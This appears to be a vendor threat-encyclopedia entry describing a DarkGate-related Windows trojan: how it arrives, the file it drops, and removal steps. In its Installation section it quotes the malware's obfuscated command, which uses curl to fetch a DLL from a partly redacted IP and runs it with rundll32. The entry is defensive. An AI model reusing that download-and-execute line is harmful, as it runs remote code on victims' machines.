Trojan.Win64.DARKGATE.YXDIZZ
Trojan:Win64/IcedId.PAF!MTB (MICROSOFT)
Windows
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Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
However, as of this writing, the said sites are inaccessible. It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.
TECHNICAL DETAILS
12,288 bytes
DLL
No
02 Oct 2023
Connects to URLs/IPs
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %Public%\PM7zc0iWd.dat
(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)
It adds the following processes:
- cmd.exe /c c^u^r^l -o %Public%\PM7zc0iWd.dat http://{BLOCKED}.{BLOCKED}.{BLOCKED}.59/ZIbr7/n7i&&timeout 15&&rundll32 %Public%\PM7zc0iWd.dat scab /k besogon728 → This process downloads a DLL file from a malicious URL using the curl command, then execute it using rundll32.exe with "scab /k besogon728" as arguments.
Other Details
However, as of this writing, the said sites are inaccessible.
It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.
SOLUTION
9.800
18.721.00
26 Sep 2023
18.721.00
27 Sep 2023
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete this file
- %Public%\PM7zc0iWd.dat
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.Win64.DARKGATE.YXDIZZ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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